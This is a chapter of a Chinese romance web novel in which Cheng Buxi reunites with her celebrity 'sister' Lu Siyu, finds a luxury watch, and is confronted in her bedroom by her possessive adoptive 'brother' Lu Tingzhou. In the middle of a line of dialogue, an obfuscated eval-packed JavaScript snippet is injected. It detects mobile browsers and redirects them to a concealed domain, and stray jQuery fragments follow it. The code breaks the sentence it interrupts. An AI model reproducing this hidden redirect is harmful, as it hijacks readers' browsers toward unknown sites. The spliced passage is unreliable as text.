·
刚跑出去,迎面就撞上多日不见的陆家二姐。
不愧是同一个爹妈生的,自带顶尖的骨相基因,突出惊人的美貌。
眼前人美得带点肃杀之气,那是陆思雨。
大小姐应该是刚从剧组回来,身后的经纪人还拿着剧本和她说戏,摘下印有LV的墨镜,看见幼妹在眼前出现她几乎是瞬间笑得风情万种地缠上去:“我的好妹妹,可想死我了,快抱一个!”
“思雨姐姐...”
程不喜还没来得及打招呼就被她一整个拥在怀里,蓝血奢牌的香水味道遮天蔽地,浓烈馥奇,冲淡了老山檀的气息。
程不喜个头不矮,人堆里俏生生的一眼就能被注意,但在176的陆思雨面前还是没什么可比性,毕竟后者可是上过国际一线超模杂志的实力派影星,气场强大到秒杀方圆百里。
“怎么哭了?”陆思雨注意到幼妹神情有异,往后一看,语气稍鄙:“陆老大骂你了?”
“没有…”程不喜有些心虚,但是红肿的眼睛不会撒谎。
陆思雨没继续深问下去,说白了从小到大她养育妹妹的理念虽然和她哥南辕北辙,但初衷不约而同都是希望她能平安顺遂。
骂哭是小事儿,骂醒才是真理。她几乎是一瞬换上狡黠的笑容:“想我吗?”
“想....”
陆思雨才不信,往她小翘鼻一勾:“骗人!”
程不喜又气又恼:“思雨姐姐!”
陆思雨打趣完,摸了摸她冰冰凉凉的脸蛋儿还有衣摆,不禁疑惑:“怎么袖口湿湿的?”
“回来的时候,在站台,不小心淋到雨。”她声音很低。
“啊,司机没去接?”
程不喜没吭声。
意料之内。
陆思雨对这个幼妹了若指掌。她看向身后的经纪人,似乎在用一种“看吧,我这二妹妹已经没救”的神情诉说着不满,现成的马力不用,非要自己亲身蹚水,说她傻吧,从小到大也算机灵,不然也不会一家子都拿她当心肝宝贝,什么都好,就是太轴。
程不喜这才开始打量起二姐身后这位品貌不凡的经纪人来。男性,身高保守估计已经超一米九,没想到二姐的经纪人都长得如此出挑,完全不输那些顶流明星。
陆思雨啧啧两声:“又是搭公交回来的?”
程不喜暗暗摁下心中的小九九,老老实实回答:“时间还早,学校人多,就没有让家里人来接,后来是沈家...沈教授顺路送了我。”
差点又说成沈家哥哥,有了阴影她及时止住了。
“沈教授。”陆思雨喃喃重复着,似乎在回忆脸孔,好半天才想起来是谁,“沈修时?”
程不喜点头。
似乎已经嗅到什么八卦,她扬眉一笑。隐约猜到了她被骂哭的缘由,想必她哥和她是一样的想法,陆思雨老神在在地开口:“沈家的的确确是块风水宝地,早几年就连我都心动,恨不能也润进去,只可惜口子太多,中看不中用。”
她话锋一转,“小喜妹妹,你想去吗?”
怎么可能想去,程不喜连连摇头:“不想。”
“那就好,我也不希望你去。”陆思雨得到想要的回答,心定了,捏了捏她的小脸蛋儿对她说,“赶紧回屋洗个澡。对了,换身敞亮点儿的衣服,今天全家都在呢。”
-
回到卧室,程不喜整个人还有点木,将怀里的“炸蛋书”放在床尾凳。
呆站了会,脑子还是很乱,一会儿还有家宴没时间容她多想,赶紧洗澡换衣服才是要紧。
可几乎就在抬眸的瞬间,她注意到床头静静摆放着一只红丝绒的礼盒。盒身方方正正,外围缠绕着黑边奶白色的缎带,顶部还打了一个相当漂亮的蝴蝶结。
她犹如被施法定住。
缓缓打开后,里面的东西更是叫她惊讶得说不出话。
静静躺在盒子中央的是一块腕表。
她目前戴在手上的是一只天梭的小美人,公价不过七千,是陆家姐姐送的成年礼,戴了快两年。陆思雨其实本意是想送她更贵的蓝气球,两款表造型有相似之处,但是价格却差了十万八千里。
奈何程不喜一听后者要四达不溜果断说不要。
陆思雨知道她品性,物欲低得可怜,先斩后奏也错过了时机,毕竟她都知道了。最后还是顺其心意送了第一只。晓得家里妹妹是冷白皮,还特意选的浅蓝色表盘,白上加白。程不喜很喜欢,更何况是二姐送的,就一直戴着了。
可打开眼前的盒子,入目的是却是一支华光温润的薄荷绿表盘,还是超级奢华的镶钻款。表盘周围整整镶嵌了三圈钻石,个个儿璀璨夺目。
盒子上印有哥特字母''B'',程不喜认出是百年灵。
同寝室的肖颖颖也有一块,据说是园区的二代男友送的,到手后在朋友圈和寝室像是摆流水席似的显摆了好几天。
肖颖颖那块表据她所说要3万多块,程不喜曾近距离瞄过一眼,确实很贵气。可眼下手里的这块沉甸甸的分量、手工镶嵌的颗颗明钻,无一不在用直觉告诉她,这一只价格绝不会比她那个便宜,只会更贵。
因二姐回来,陆思雨是走南闯北全世界飞来飞去的大明星大模特,回来一趟算是很稀罕的事情,程不喜顺理成章地以为这块表也是二姐送的。
她平时穿衣打扮都很素,除了手表也不佩戴什么首饰,脱下之前的天梭小美人,程不喜还是试戴了这块新表。
毕竟蒙受庇佑,聊表忠心。
-
辛集出去时万怡还杵在走廊没离去。
“你怎么来了?”
他对这个女人谈不上什么好感,但也算不上嫌弃。只因一年前他们陆总去澳门谈生意,顺手在赌场救了她,她当时欠下巨额的赌债,狼狈到走投无路,差点被要债的逼成跳海…总之游轮上闹得很难看,陆庭洲本不是个爱管闲事的,但那天恰好是程不喜生日。
不知道出于什么心理,他插手了。不仅替她勾销了赌债还安排了一顿丰盛的晚餐和住处,堪比救世主。
设想一下被逼到绝路,突然半路杀出个金字塔顶端的人物,不论是品相还是权势都近乎疯狂碾压的存在,更难得的是这种有头有脸的人物居然会屈尊帮一个山穷水尽的难民,说不感激涕零那是白瞎。
后来这女人便一心要报答他的恩情,可陆庭洲转手都忘了这件事。直到在一次招标会上她一袭火辣的红裙出现,替他挡下一杯杯红酒,出色的交际表现让集团的高层另眼相看,并且凭借一张巧嘴和高超的谈判技巧顺利拿下当晚的招标。后来就在公司担任了一些职务。
辛集有想过原因,八成是那天在澳门游轮上他们陆总有违常理地倾手解囊,解救的还是一个从没见过的女人,女人恰好又有几分姿色,英雄救美的戏码总是会被添油加醋的传播。
毕竟他们陆总在圈内是出了名的冷淡禁欲,不近女色,这样大张旗鼓地帮她,被公司高层误以为他和万怡之间有什么也很正常,所以她进入公司才会这么顺利。
要是放在其他人眼中,或许不会接纳这么一个来路不明的女人。可陆庭洲是个任人唯贤、论迹不论心的领导,这样的人物,只要有实绩不在乎学历更不会卡什么背景,而万怡的表现确实比一般的行秘要有胆魄,便就一直用着了。
只是没想到她的存在会让程不喜觉得莫大危机。
辛集也不知道究竟该哭还是该笑。
-
囫囵洗完了澡,程不喜听取了二姐的话,从衣柜里挑了一条芥子色的长裙,裙身设计得文文雅雅,色彩也低调。
快速描了个淡妆,一切都差不多快收拾好,没想到临到穿裙子的时候犯了难。
这套裙后背是纽扣的设计,程不喜折腾半天,最上边两枚扣子始终扣不上,手臂都捲红了。
呼吸不稳,脸蛋儿涨红,尤其耳朵尖尖,像浮了层胭脂纱粉,惹人疼。
正在鞋柜旁负隅顽抗,乍听见身后传来脚步声。
这个点在二楼的,能进她卧室的,除了陆家姐姐没别人。
“思雨姐姐…”程不喜不疑有他,立马求助,“帮我扣一下后面的,纽扣…”
她弓着腰,单手护住滑嫩的胸口不至于走光,后背光滑的曲线一览无遗,精致曼妙的蝴蝶骨俏生生,晃得人眼迷离。
来人目睹这禁忌香艳的一幕,微微顿促,好看的眉峰顺势拧起,有短暂的失神。
程不喜马虎,没闻出他身上气味,那是一种高级的木质香。
市面上爱用这款香的人很少,非常小众,且格调暗黑,袖口一丝檀香混杂其中,禁欲感拉满。
来人短暂的失神,紧接着信步朝她傍近。
他的指腹冰冰凉凉,手指修长且灵巧,不知是玉制纽扣沾染的温度还是他本身温感低的缘故,落在蝴蝶骨处,激起一阵酥麻涟漪。
周遭寂静,刚扣好一个,程不喜忽觉不对劲,扭过头去,目光瞬然对上,她直直愣住了,小鹿眼睛膨圆,呆呆喊:“哥哥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829946|158918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
这绝对是下意识的叫喊,可比刚才那声干干巴巴的‘陆大哥’顺意好听得多了。
叫完程不喜才意识到自己刚才都做了些什么,居然敢叫他帮自己系纽扣...
自打有了嫌隙,他们从没这样亲密过。
并且刚才他俩可是吵了架,几乎势成水火,一想到这儿她顿时惊慌地往后退了数步,脸色白了又白。
陆庭洲不似她,全程神情坦然,目光清明如许,没有丝毫的失态,继续帮她将剩下的一枚扣子扣好。
程不喜先他一步辩说:“我,我以为是思雨姐姐的——”
陆庭洲淡淡嗯声,并不像她那般慌张无主,视线将她从头到脚扫量:“打算穿这一套?”
程不喜:“……”呆呆低头看向自己。
这下丢人丢大发了,脚上一只拖鞋还穿错了。
本来就够心烦意乱了,想不通他为什么会出现在卧室里。
不等她确认,“太素,换一套。”他不容置疑地说。
说罢,十分自然而然地坐上了床尾凳,抄起她刚才放下的经济学原理书——里边的漫画,津津有味开始翻。
书很旧,封面印着一行字,应该是漫画的名字:《亿万契约宠婚:攻略那个冰山系教授》
他见状双眉微撩,再紧一点就成了“川”。但仅仅是零点几秒的异样,又恢复了正常,虽含带鄙夷,还是信手翻开了。
这矜贵优雅的一幕,说是顶级杂志的封面也不为过。
程不喜后知后觉他的目的是这本漫画,奈何这个时候想从老虎口中抢夺猎物已经是不可能的事情了。并且这条裙子能顺利穿好,代价可不是一般的大,程不喜舍不得脱,并且觉得穿素点儿好。
“思雨姐姐说了,要穿的敞亮。”她负隅顽抗。
“嗯,生日那条?”他神闲气定,翻了一页漫画,并未看她。
奇怪,生日…
说起生日就有点儿冒火,生日当天他压根儿没回来,只大老远派人寄了条围脖当礼物。
是的围脖。
她生日在五月,是夏季,距离戴围脖的时间还太早。送这个意味着什么?好像是临时不得已随手选了个玩意儿凑数。敷衍得连陆夫人都觉得不像话,那可是她二十岁生日。
以至于陆夫人当着全家人的面给他打电话,一通猛输出,程不喜隐隐听见电话那头沉沉不耐的嗓音,说忙。
忙。
是啊,一直都很忙。
所以他是怎么知道今年生日陆伯母送她裙子的?想来想去只有一个可能,那就是二姐姐说的。
可即便程不喜想投其所好,也做不到:“那条被伯母送去改腰身了。”她说。
腰身。
陆庭洲下意识瞥她腰际,细直纤长似水蛇,仅用单手就能握住,或许就是古人口中大逆不道的“货腰”。
喉头自上而下滑滚,他偏了偏头,目光对准衣柜里那一排排无人问津的奢牌衣裙,略微梭巡,眯眼道:“嗯,中间那条,湖绿的。”
湖绿?真不懂他,湖绿不更素吗?程不喜腹诽,揪起细长好看的峨眉。
可是没招,人在屋檐下不得不低头。
她噘着嘴,边取下钦点的湖绿色衣裙边对着镜子比划。
有点儿赌气,连带着语气也不端、不敬起来:“陆大哥,我要换衣服。”
不过是片刻功夫,称谓就又换成了陆大哥。
这样泾渭分明,请他出去的动机不要太显著。
陆庭洲皱眉,这里就他们两个。
他放下手里五颜六色的漫画书,粗制滥造毫无观赏性质的色.情刊物,书脊磨损得不堪,也不知道被多少人翻阅过不能够正常阅读,不明白为什么她要像个宝贝似的护在怀中。
并且,竹马教授和学生妹,他不是很喜欢这个命题。
可以说,非常,之不喜欢。
厌弃。
他整个身躯倾轧过来,周遭的气场过于强大,程不喜本能瑟缩着往后退了半步。
本就体型相差巨大,警觉无孔不入,这种逼仄的包围下程不喜本能地萌生了害怕和逃跑的念头。
“小喜。”
他已经很久没有这样面对面叫过她,唇齿的碰撞叫他生出一阵恍惚和战栗。
这一幕三年来只发生在睡梦中,浑身的血液似乎都在叫嚣着,思念,垂想,惦记。
期待这一刻已经太久太久。
“你是要让我的心,坐整宿的过山车吗?”